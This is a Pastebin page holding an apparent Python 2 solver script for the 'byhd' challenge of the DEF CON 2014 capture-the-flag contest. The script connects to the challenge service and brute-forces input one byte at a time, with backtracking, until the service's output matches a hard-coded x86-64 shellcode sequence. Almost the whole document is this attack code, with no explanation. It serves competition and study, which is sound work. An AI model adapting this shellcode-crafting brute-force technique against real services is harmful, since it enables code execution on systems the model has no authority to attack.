SHARE
TWEET

Defcon 2014 byhd brute-force

tunz May 19th, 2014 235 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from socket import *
  2. from struct import *
  3. import sys
  4. import time
  5.  
  6. def recvuntil(s, length):
  7.         result = ""
  8.         while True:
  9.                 result += s.recv(1)
  10.                 if len(result) >= length:
  11.                         break
  12.  
  13.         return result
  14.  
  15. #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
  16.  
  17. shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
  18. shellcode = shellcode.replace(" ","").decode('hex')
  19.  
  20. answer = ""
  21.  
  22.  
  23. ii = len(answer)
  24. fail = False
  25. while ii < 250:
  26.         found = False
  27.         if fail != True:
  28.                 i=0xff
  29.         fail = False
  30.         while i>=0:
  31.                 s = socket(AF_INET, SOCK_STREAM)
  32.                 s.connect(('192.168.0.41', 9730))
  33.  
  34.                 #print hex(i)
  35.  
  36.                 s.send(pack('<L', len(answer)+1))
  37.                 s.send(answer+chr(i))
  38.  
  39.                 length = unpack('<L',s.recv(4))[0]
  40.                 data = recvuntil(s,length)
  41.                 print data
  42.                 data = data.decode('hex')
  43.  
  44.                 if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
  45.                         answer += chr(i)
  46.                         print "[+] Found:",answer.encode('hex')
  47.                         ii+=1
  48.                         s.close()
  49.                         found = True
  50.                         break
  51.  
  52.                 if data[:len(shellcode)] == shellcode:
  53.                         print answer.encode('hex')
  54.                         sys.exit()
  55.  
  56.                 s.close()
  57.                 time.sleep(0.01)
  58.                 i-=1
  59.         if found == False:
  60.                 print "[-] Fail"
  61.                 if len(answer) <= 1:
  62.                         break
  63.                 else:
  64.                         last = answer[-1]
  65.                         i = ord(last) - 1
  66.                         answer = answer[:-1]
  67.                         ii-=1
  68.                         fail = True
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top